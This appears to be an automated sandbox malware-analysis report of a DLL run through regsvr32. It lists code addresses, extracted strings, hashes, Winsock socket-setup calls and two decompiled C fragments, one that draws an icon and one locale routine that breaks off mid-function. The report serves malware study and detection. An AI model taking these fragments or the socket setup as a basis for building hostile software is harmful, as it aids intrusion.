0x04225ec4
0x04225ecf
0x04225ed7
0x04225edc
0x04225ee4
0x04225eec
0x04225ef4
0x04225eff
0x04225f09
0x04225f0c
0x04225f13
0x04225f1e
0x04225f2b
0x04225f2f
0x04225f37
0x04225f3b
0x04225f43
0x04225f56
0x04225f66
0x04225f67
0x04225f70
0x04225f7b
0x04225f86
0x04225f8e
0x04225f99
0x04225fa4
0x04225fac
0x04225fb4
0x04225fbc
0x04225fc0
0x04225fc8
0x04225fde
0x04225fe5
0x04225ff0
0x04225ffb
0x04226006
0x04226011
0x0422601c
0x04226027
0x04226032
0x0422603d
0x04226045
0x04226050
0x04226063
0x04226064
0x0422606b
0x04226076
0x04226081
0x0422608c
0x04226097
0x042260a4
0x042260a8
0x042260b0
0x042260b5
0x042260bd
0x042260d0
0x042260d7
0x042260e2
0x042260ed
0x04226102
0x0422610b
0x04226116
0x0422611b
0x04226126
0x04226131
0x0422613c
0x04226147
0x04226152
0x04226165
0x04226168
0x04226173
0x0422617e
0x04226185
0x04226190
0x0422619b
0x042261a6
0x042261b1
0x042261bc
0x042261cf
0x042261d6
0x042261e1
0x042261ec
0x04226202
0x04226209
0x04226214
0x0422621f
0x0422622a
0x0422623a
0x0422623d
0x04226244
0x0422624f
0x0422625a
0x04226270
0x04226277
0x04226282
0x0422628e
0x04226293
0x04226299
0x0422629e
0x042262a3
0x042262ab
0x042262be
0x042262bf
0x042262cf
0x042262d4
0x042262db
0x042262e6
0x042262f1
0x042262fc
0x04226307
0x04226312
0x04226312
0x04226317
0x0422631c
0x0422631c
0x0422631c
0x0422631c
0x04226322
0x00000000
0x00000000
0x04226578
0x0422657e
0x042266b2
0x042266b7
0x00000000
0x04226584
0x04226584
0x0422658a
0x0422665a
0x0422665b
0x04226663
0x04226668
0x0422666f
0x04226672
0x04226674
0x0422667d
0x04226682
0x04226685
0x00000000
0x04226590
0x04226590
0x04226596
0x04226637
0x00000000
0x0422659c
0x0422659c
0x042265a2
0x042265a8
0x042265b1
0x042265b5
0x042265fb
0x04226600
0x0422660b
0x04226616
0x0422662d
0x0422656e
0x0422656e
0x042266bc
0x042266bc
0x042266c3
0x042266cb
0x042266cb
0x00000000
0x042265a2
0x04226596
0x0422658a
0x04226700
0x0422670a
0x0422670a
0x04226328
0x0422648f
0x04226498
0x0422649f
0x042264ad
0x042264bc
0x042264c3
0x042264ca
0x0422651c
0x04226524
0x04226541
0x04226546
0x04226564
0x04226569
0x00000000
0x0422632e
0x04226330
0x04226469
0x04226470
0x0422647c
0x0422647e
0x04226482
0x04226487
0x00000000
0x04226336
0x04226338
0x042266f7
0x0422633e
0x04226340
0x042263fd
0x0422640e
0x04226411
0x04226416
0x04226418
0x00000000
0x04226346
0x0422634c
0x042263c5
0x042263cc
0x00000000
0x0422634e
0x04226350
0x00000000
0x04226356
0x04226388
0x0422638f
0x042263a0
0x042263a3
0x042263a3
0x00000000
0x042263a3
0x04226350
0x0422634c
0x04226340
0x04226338
0x04226330
0x00000000
0x042266d0
0x042266d0
0x042266d0
0x00000000
0x042266dc
0x04226317

Strings

P_W, xrefs: 04225D6B
`, xrefs: 0422621F
5 , xrefs: 04225D12
{4, xrefs: 04225CFA
Jm, xrefs: 04225EFF
W, xrefs: 04225BC0
W"j, xrefs: 04226006
2G, xrefs: 04225905
(INK, xrefs: 04225DE6
tJP, xrefs: 04225E3C
NI5, xrefs: 04225FC8

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: (INK$2G$5 $Jm$NI5$P_W$W"j$`$tJP${4$W
API String ID: 0-4122124823
Opcode ID: 2fa0242458b9e7d247121430f6cd75acfe15f02f37eb26ff5ebbe266a1f9ccc4
Instruction ID: fbad7afcdc49aed2b7cca5deb5750124b70bfaf39da451c72f8392e56e500137
Opcode Fuzzy Hash: 2fa0242458b9e7d247121430f6cd75acfe15f02f37eb26ff5ebbe266a1f9ccc4
Instruction Fuzzy Hash: 4772FD716083819FD379CF65C98AB8BBBE1BBC4308F008A1DE2D986260D7B59559CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0422D14C, Relevance: 14.1, Strings: 11, Instructions: 385COMMON

Download Yara Rule

Strings

o7, xrefs: 0422D4AF
mm, xrefs: 0422D278
n[1, xrefs: 0422D745
Qob, xrefs: 0422D1D2
T), xrefs: 0422D71D
G<, xrefs: 0422D6C6
{;[, xrefs: 0422D4DF
w5, xrefs: 0422D6FB
`QF, xrefs: 0422D210
&E, xrefs: 0422D84D
URi, xrefs: 0422D7E6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: T)$&E$G<$Qob$URi$`QF$mm$n[1$o7$w5${;[
API String ID: 0-1763375246
Opcode ID: 903c8ee0c98e59c5ca2a2a10fa5cad307446ace95ce7fbc571b1d21d4f341776
Instruction ID: e2393b75cd4c9938948c6b6e5c1e8437dbecfd197689abb01751cdb137809861
Opcode Fuzzy Hash: 903c8ee0c98e59c5ca2a2a10fa5cad307446ace95ce7fbc571b1d21d4f341776
Instruction Fuzzy Hash: 572223715193809FD379CF61C94AA9BBBF1FBC1708F108A0CE29996260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04235779, Relevance: 12.9, Strings: 10, Instructions: 430COMMON

Download Yara Rule

Strings

pk, xrefs: 042358A8
_jvP, xrefs: 04235D74
Ikz, xrefs: 04235922
xdX, xrefs: 04235904
01, xrefs: 04235D84
~*, xrefs: 04235A2A
, xrefs: 04235FD7
=G, xrefs: 04235CC5
w=_, xrefs: 042358F4
Uh G, xrefs: 04235D54

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: pk$ $01$=G$Ikz$Uh G$_jvP$w=_$xdX$~*
API String ID: 0-1860247402
Opcode ID: fa76ad5acae243c1c6f25466b63a0bb5d20f34d56f5c0675485de595a933ec53
Instruction ID: 06c82a773c74870cc1e94c317e397060cb8b043cf9c1dbb8e151b3b890c3b8c8
Opcode Fuzzy Hash: fa76ad5acae243c1c6f25466b63a0bb5d20f34d56f5c0675485de595a933ec53
Instruction Fuzzy Hash: C02223B12183809FD368CF25C54AA9BBBF2BFC5748F10891DE6D996260D7B19948CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04237D5B, Relevance: 12.9, Strings: 10, Instructions: 361COMMON

Download Yara Rule

Strings

$P, xrefs: 04237D8E
jz, xrefs: 04237FE6
O"r, xrefs: 04238067
>}#, xrefs: 04238369
o, xrefs: 04237F00
\f%0, xrefs: 04237DD1
)p?M, xrefs: 04238317
Gqx, xrefs: 04237E64
}0, xrefs: 04237FAF
^xZ, xrefs: 0423817C

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$)p?M$>}#$Gqx$O"r$\f%0$^xZ$jz$o$}0
API String ID: 0-1313373530
Opcode ID: 9c2afa8c9314ad312444581fcddb82037fb94e64f0f61e0837010cf3b2f4441b
Instruction ID: 2e07ff4775cb2d24364dde42c9d381bff0d7dcca0ebf99b139f04d18f10fa3b6
Opcode Fuzzy Hash: 9c2afa8c9314ad312444581fcddb82037fb94e64f0f61e0837010cf3b2f4441b
Instruction Fuzzy Hash: 2512F1B1509381DFD3A8CF21C949A9BFBE2BBC4708F108A1DE1D996260D7B59909CF53

Uniqueness

Uniqueness Score: -1.00%

Function 0423B257, Relevance: 11.7, Strings: 9, Instructions: 425COMMON

Download Yara Rule

Strings

bu, xrefs: 0423B6E0
[7, xrefs: 0423B7E1
s4, xrefs: 0423B513
[D, xrefs: 0423B8B3
B, xrefs: 0423B6B8
&-, xrefs: 0423B3E0
+V, xrefs: 0423B457
E!, xrefs: 0423B6F3
{u, xrefs: 0423B4A2

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: s4$&-$+V$E!$[7$[D$bu${u$B
API String ID: 0-2389712741
Opcode ID: ef6ac798c9392941f1a0e429090c8fbff63c34f89c27df27b1f91d65bd96e706
Instruction ID: e011194fac899c35c59dca2b9c0802900a025a27b901d9455322a76bfb9f11c2
Opcode Fuzzy Hash: ef6ac798c9392941f1a0e429090c8fbff63c34f89c27df27b1f91d65bd96e706
Instruction Fuzzy Hash: AB2214B26193809FE368CF25C989A4BFBF1BBC4708F10891DE5D996261D7B19949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0422C6B8, Relevance: 11.7, Strings: 9, Instructions: 423COMMON

Download Yara Rule

Strings

i}p, xrefs: 0422CBD8
E*, xrefs: 0422C853
#, xrefs: 0422CC3C
__0, xrefs: 0422CC15
2WDP, xrefs: 0422CD69
(, xrefs: 0422CB8C
,.X, xrefs: 0422C6D8
U{K, xrefs: 0422C7E2
JD4, xrefs: 0422CBB7

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ($,.X$2WDP$E*$JD4$U{K$__0$i}p$#
API String ID: 0-2449995950
Opcode ID: 07a300b930572d543ef7248cb905487c9db22cba3de2791b0f6eb6455870802a
Instruction ID: fbb57042297b7f186fdbbdfcc6a88649a1893423948e0f5ea6e03a70b68efaa6
Opcode Fuzzy Hash: 07a300b930572d543ef7248cb905487c9db22cba3de2791b0f6eb6455870802a
Instruction Fuzzy Hash: 68222F7150C3809FD3A8CF65D58AA8FBBE2FBC4358F10891DE19986260D7B59949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0423E955, Relevance: 11.6, Strings: 9, Instructions: 300COMMON

Download Yara Rule

Strings

BqAT, xrefs: 0423EB6E
ie, xrefs: 0423EA11
:, xrefs: 0423EC10
!, xrefs: 0423EB2B
WTk, xrefs: 0423E9BF
yv, xrefs: 0423EA21
RaJ, xrefs: 0423EC05
p, xrefs: 0423EAFD
{l, xrefs: 0423ECDF

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :$BqAT$RaJ$WTk$ie$yv${l$!$p
API String ID: 0-4263964199
Opcode ID: 97c5059b7589a7fcc2cecfe2049c1054a1406df32be1221fe70c3992070ef4a3
Instruction ID: e7dce99033a6a4d4d387f29b2a3ed00ffdb66c5ed994c6c7d0668139da44b04c
Opcode Fuzzy Hash: 97c5059b7589a7fcc2cecfe2049c1054a1406df32be1221fe70c3992070ef4a3
Instruction Fuzzy Hash: 90F12EB15183808FD3A8CF25C549A5BFBF1FBC4758F10891DE2AA86260D7B19949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 100011C0, Relevance: 10.6, APIs: 7, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100011F1
_memset.LIBCMT ref: 10001205
htonl.WS2_32(00000000), ref: 1000121B
htons.WS2_32(?), ref: 1000122F
socket.WS2_32(00000002,00000002,00000000), ref: 10001245
bind.WS2_32(?,?,00000010), ref: 1000126A
setsockopt.WS2_32(?,0000FFFF,00001006,00000001,00000008), ref: 100012AC

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Startup_memsetbindhtonlhtonssetsockoptsocket
String ID:
API String ID: 1003240404-0
Opcode ID: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction ID: 88ed1bb05716eef25c8d7e89d15ea7d56457a166ccc4c5acc9453768105f33a4
Opcode Fuzzy Hash: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction Fuzzy Hash: 1C215974A01228AFE760DF60CC85BD9B7B4EF49714F1081D8E949AB381CB71A9C2DF51

Uniqueness

Uniqueness Score: -1.00%

Function 042436AA, Relevance: 10.4, Strings: 8, Instructions: 359COMMON

Download Yara Rule

Strings

@0, xrefs: 04243B67
ms2, xrefs: 0424394E
a>, xrefs: 04243B42
v*, xrefs: 04243A90
q\1, xrefs: 0424383D
pj, xrefs: 04243A09
_sC, xrefs: 0424370D
{*, xrefs: 042436E0

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @0$_sC$a>$ms2$pj$q\1$v*${*
API String ID: 0-3081288078
Opcode ID: c937b734179e2929832429b0111da4b5b05f65a6c21b8ed71ad3cd0fd8ababce
Instruction ID: 44a5dc669a43038fcddd531c55b2f1b50b3111c3f38cd10e180e02f89b5aad9d
Opcode Fuzzy Hash: c937b734179e2929832429b0111da4b5b05f65a6c21b8ed71ad3cd0fd8ababce
Instruction Fuzzy Hash: 7C024071618380DFD3A8CF65C48AA5BBBE1FBC4758F10890DE6DA86260D7B49949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 042446BD, Relevance: 10.3, Strings: 8, Instructions: 293COMMON

Download Yara Rule

Strings

<[, xrefs: 04244B6C
?K~, xrefs: 04244B57
d>, xrefs: 042449F2
r20T, xrefs: 04244A72
F, xrefs: 04244807
8 8F, xrefs: 04244AE0
Nq, xrefs: 0424495B
.618, xrefs: 04244B4F

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .618$8 8F$<[$?K~$Nq$r20T$F$d>
API String ID: 0-914106314
Opcode ID: f2f1ae3ea64eb25c3e1e833b160c98024b333d564cef09d937a823d9610e95f6
Instruction ID: 170e1ca68fd7c67d31648f66bd7c6bf9fb8583d5954f9f50360c077b20686ee7
Opcode Fuzzy Hash: f2f1ae3ea64eb25c3e1e833b160c98024b333d564cef09d937a823d9610e95f6
Instruction Fuzzy Hash: F3F1FD71119380DFD769CF61C98AA4BBBE1FBC5748F108A1DE2DA86260D7B59948CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0423017B, Relevance: 10.3, Strings: 8, Instructions: 263COMMON

Download Yara Rule

Strings

7+, xrefs: 0423021B
D41, xrefs: 04230469
iD, xrefs: 0423057C
A|6, xrefs: 042306AD
{I, xrefs: 0423069A, 042306A8
D, xrefs: 042305DC
-, xrefs: 04230276
ch, xrefs: 042304BE

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -$7+$A|6$D$D41$ch$iD${I
API String ID: 0-1622838380
Opcode ID: cd611b639b534e101aec1e8bfc145c763d42cb9c05b3246fd8773d9bc59af226
Instruction ID: a2a2fef7d7cb9e08c0c071fcf98efac088049ce969334eb44d72f00f880c6ac0
Opcode Fuzzy Hash: cd611b639b534e101aec1e8bfc145c763d42cb9c05b3246fd8773d9bc59af226
Instruction Fuzzy Hash: 1DD1FDB25083819FD368CF61C989A1BFBF1FBC5358F508A1DF69596260D3B59948CF02

Uniqueness

Uniqueness Score: -1.00%

Function 04243263, Relevance: 10.2, Strings: 8, Instructions: 175COMMON

Download Yara Rule

Strings

!, xrefs: 042433B7
J, xrefs: 042432CF
$P, xrefs: 042434CB
Wqg, xrefs: 042433AF
vr, xrefs: 04243453
_~W, xrefs: 0424327E
@, xrefs: 042432F1
'?9, xrefs: 0424335F

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !$$P$'?9$@$Wqg$_~W$vr$J
API String ID: 0-3966742547
Opcode ID: fef6665b2dcae0e8f76fd5e1b4eb73354bf8a0be14dccf9d357c285fbdd5a555
Instruction ID: 9b7aee658d0d86a7a20cf8f9487568654c2548d2ee8fb6fd7e76f382b99306f3
Opcode Fuzzy Hash: fef6665b2dcae0e8f76fd5e1b4eb73354bf8a0be14dccf9d357c285fbdd5a555
Instruction Fuzzy Hash: AA814472608340AFD358CF66C88981BBBF2FBC5758F10991CF59586260D3B6D945CF06

Uniqueness

Uniqueness Score: -1.00%

Function 042417BD, Relevance: 9.1, Strings: 7, Instructions: 356COMMON

Download Yara Rule

Strings

>}, xrefs: 04241996
c, xrefs: 04241D45
EBr, xrefs: 04241BB6
oen, xrefs: 04241C22
/;, xrefs: 04241E7F
OY, xrefs: 04241B2E
}F, xrefs: 04241B51

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /;$>}$EBr$OY$c$oen$}F
API String ID: 0-419207597
Opcode ID: 980f4102fe2ddcca31b1b2cf06006d92aa9d92b5aee6a420a68853156d952c77
Instruction ID: 2d2e426220ea889cabcdba758334c8fe3003faeed9cf91bac36d5eb889c637de
Opcode Fuzzy Hash: 980f4102fe2ddcca31b1b2cf06006d92aa9d92b5aee6a420a68853156d952c77
Instruction Fuzzy Hash: 630202B15083809FD369CF25C589A9FBBE1FBC4358F108A1DE1CA96260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 10008B90, Relevance: 9.1, APIs: 6, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E10008B90(intOrPtr __ecx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				struct HDC__* _v120;
				char _v124;
				int _v128;
				int _v132;
				int _v136;
				struct HICON__* _v140;
				intOrPtr _v144;
				void* __ebp;
				signed int _t37;
				int _t40;
				void* _t41;
				void* _t66;
				struct tagRECT* _t82;
				void* _t84;
				void* _t85;
				signed int _t86;

				_t37 =  *0x10057a08; // 0xce1c5b24
				_v32 = _t37 ^ _t86;
				_v144 = __ecx;
				_t40 = IsIconic( *(_v144 + 0x20));
				_t87 = _t40;
				if(_t40 == 0) {
					_t41 = E1000C473(_t66, _v144, _t84, _t85, __eflags);
				} else {
					_push(_v144);
					E10013247(_t66,  &_v124, _t84, _t85, _t87);
					_t88 =  &_v124;
					if( &_v124 != 0) {
						_v136 = _v120;
					} else {
						_v136 = 0;
					}
					SendMessageA( *(_v144 + 0x20), 0x27, _v136, 0);
					_v128 = GetSystemMetrics(0xb);
					_v132 = GetSystemMetrics(0xc);
					_t82 =  &_v28;
					GetClientRect( *(_v144 + 0x20), _t82);
					asm("cdq");
					_v12 = _v20 - _v28 - _v128 + 1 - _t82 >> 1;
					asm("cdq");
					_v8 = _v16 - _v24 - _v132 + 1 - _t82 >> 1;
					_v140 =  *((intOrPtr*)(_v144 + 0x188));
					_t79 = _v8;
					DrawIcon(_v120, _v12, _v8, _v140);
					_t41 = E1001329B(_t66,  &_v124, _t84, _t85, _t88);
				}
				return E100167D5(_t41, _t66, _v32 ^ _t86, _t79, _t84, _t85);
			}

0x10008b99
0x10008ba0
0x10008ba3
0x10008bb3
0x10008bb9
0x10008bbb
0x10008c94
0x10008bc1
0x10008bc7
0x10008bcb
0x10008bd3
0x10008bd5
0x10008be6
0x10008bd7
0x10008bd7
0x10008bd7
0x10008c01
0x10008c0f
0x10008c1a
0x10008c1d
0x10008c2b
0x10008c3d
0x10008c42
0x10008c51
0x10008c56
0x10008c65
0x10008c72
0x10008c7e
0x10008c87
0x10008c87
0x10008ca6

APIs

IsIconic.USER32(?), ref: 10008BB3

Part of subcall function 10013247: __EH_prolog3.LIBCMT ref: 1001324E
Part of subcall function 10013247: BeginPaint.USER32(?,?,00000004,1000C48A,?,00000058,10008C99), ref: 1001327A

SendMessageA.USER32 ref: 10008C01
GetSystemMetrics.USER32 ref: 10008C09
GetSystemMetrics.USER32 ref: 10008C14
GetClientRect.USER32 ref: 10008C2B
DrawIcon.USER32 ref: 10008C7E

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$BeginClientDrawH_prolog3IconIconicMessagePaintRectSend
String ID:
API String ID: 1007970657-0
Opcode ID: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction ID: 92cad86a1f48a06ffd889b7e25b84ff06398f92b7342aaec6ad7b9fd969ef154
Opcode Fuzzy Hash: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction Fuzzy Hash: BB31F975A00119DFEB24CFA8C995F9EBBB4FF48240F108299E549E7285DE30AA44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 042277A3, Relevance: 9.1, Strings: 7, Instructions: 330COMMON

Download Yara Rule

Strings

sG', xrefs: 04227849
4-,a, xrefs: 042279DD
*, xrefs: 04227BA8
0i^, xrefs: 04227885
)uL, xrefs: 04227BE1
&, xrefs: 04227C23
[}, xrefs: 042278B2

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )uL$*$0i^$4-,a$sG'$&$[}
API String ID: 0-4036371101
Opcode ID: e280074acee194a8a4af21785d26579025f4db8ac7bfb2e7628ff9284e72021d
Instruction ID: e9df6f3a3415b0145ca031cfad8979271c73c48e22b2a5a9f225e7164392ff48
Opcode Fuzzy Hash: e280074acee194a8a4af21785d26579025f4db8ac7bfb2e7628ff9284e72021d
Instruction Fuzzy Hash: B7F142B16183859FD3A8CF21C589A5BFBF1FBC4308F10891DE69A86220D7B59949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 0423DC71, Relevance: 9.0, Strings: 7, Instructions: 237COMMON

Download Yara Rule

Strings

.|8, xrefs: 0423DDB7
s~eP, xrefs: 0423DCFA
8+{, xrefs: 0423DF3C
fH, xrefs: 0423DD3E
H%, xrefs: 0423DCE2
1, xrefs: 0423DD98
41, xrefs: 0423DEA1

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .|8$1$41$8+{$H%$fH$s~eP
API String ID: 0-3664284304
Opcode ID: 83c15be921fcec9f3717ae0c8a77cd2d5a897435b2cd7dba69c3e7fd18eb17b3
Instruction ID: 2be98ed476ec770796372d6d1ba1962e7fd298638b30733f5756b072ec34204a
Opcode Fuzzy Hash: 83c15be921fcec9f3717ae0c8a77cd2d5a897435b2cd7dba69c3e7fd18eb17b3
Instruction Fuzzy Hash: D6B11FB26183809FD368CF25D58A40BFBF2BBC4748F10891DF29986260D7B99949CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0422670B, Relevance: 9.0, Strings: 7, Instructions: 232COMMON

Download Yara Rule

Strings

Cq, xrefs: 042268B3
?, xrefs: 042269F8
=, xrefs: 04226801
ai, xrefs: 04226996
/i, xrefs: 042269E0
w , xrefs: 04226823
:, xrefs: 0422673D

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /i$?$ai$w $:$Cq$=
API String ID: 0-170593755
Opcode ID: 6a76146150763d185147f5716e969069fdfaef2cf1abbd44bbf6199f519e4632
Instruction ID: 57f330b1f8256b6d07d359afc3eb6b39296d71282e40bbde93d32b4e90db091f
Opcode Fuzzy Hash: 6a76146150763d185147f5716e969069fdfaef2cf1abbd44bbf6199f519e4632
Instruction Fuzzy Hash: E6B131729183819FC368CF65C68A50BFBE1BBC4748F108A1DF5E9A6260D3B19959CF43

Uniqueness

Uniqueness Score: -1.00%

Function 1000A803, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
libraryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000A803(void* __ebx, void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __esi;
				void* __ebp;
				signed int _t9;
				intOrPtr* _t18;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t34;
				void* _t35;
				signed int _t36;
				void* _t37;

				_t33 = __edi;
				_t32 = __edx;
				_t28 = __ecx;
				_t26 = __ebx;
				_t9 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t9 ^ _t36;
				_t39 = _a4 - 0x800;
				_t35 = __ecx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags != 0) {
						goto L2;
					} else {
					}
				} else {
					_push(E1001808E(__edx,  &_v288, 4, "LOC"));
					E10009BC7(__ebx, _t28, __edi, _t35);
					_t37 = _t37 + 0x10;
					L2:
					_push(_t26);
					_push(_t33);
